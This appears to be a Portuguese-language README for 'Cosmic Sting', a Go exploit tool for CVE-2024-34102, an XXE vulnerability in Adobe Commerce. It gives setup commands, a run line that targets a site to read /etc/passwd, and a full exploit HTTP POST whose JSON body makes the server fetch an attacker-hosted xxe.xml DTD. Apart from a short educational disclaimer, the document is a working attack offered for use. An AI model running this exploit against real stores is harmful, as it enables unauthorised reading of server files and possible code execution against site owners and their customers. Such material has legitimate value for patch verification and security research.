Cosmic Sting: Exploitador CVE-2024-34102

Cosmic Sting é uma ferramenta baseada em Go projetada para explorar CVE-2024-34102, uma vulnerabilidade de Execução Remota de Código.

Detalhes do CVE-2024-34102

As versões 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 e anteriores do Adobe Commerce são afetadas por uma vulnerabilidade de Restrição Imprópria de Referência a Entidade Externa XML ('XXE') que pode resultar em execução arbitrária de código. Um atacante pode explorar esta vulnerabilidade enviando um documento XML malicioso que referencia entidades externas. A exploração deste problema não requer interação do usuário.

Pré-requisitos

• Go (1.16 ou superior)

Instalação

1. Clone o repositório:

   root@kitploit:~

   git clone https://github.com/bughuntar/CVE-2024-34102.git &&
   cd CVE-2024-34102
   

2. Instale as dependências (se houver):

   root@kitploit:~

   go version &&
   go mod init cosmic_sting &&
   go get github.com/fatih/color &&
   go get github.com/google/uuid &&
   go get github.com/urfave/cli/v2
   

URL Única

Para executar a ferramenta com uma única URL:

go run cosmic_sting.go -u "http://example.com" -f "/etc/passwd"

Flags

• -u, --url : URL única a ser explorada.
• -f, --file : Arquivo a ser lido via SSRF.
• -l, --list : Arquivo contendo uma lista de URLs a serem exploradas.

Requisição POST com arquivo DTD XML personalizado:

POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Content-Type: application/json
Content-Length: 187

{"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"https://{{hostedXMLfile.com}}/xxe.xml","dataIsURL":true,"options":1234}}}}}}

Licença

Este projeto não possui licença, foi feito apenas para projetos pessoais.

Contribuindo

Contribuições são bem-vindas! Por favor, abra uma issue ou envie um pull request para quaisquer alterações.

Aviso Legal

Esta ferramenta é destinada apenas para fins educacionais. Use-a com responsabilidade e apenas em sistemas para os quais você tenha permissão para testar.

Autor

Professor the Hunter --> Siga-me no Twitter

CVE-2024-34102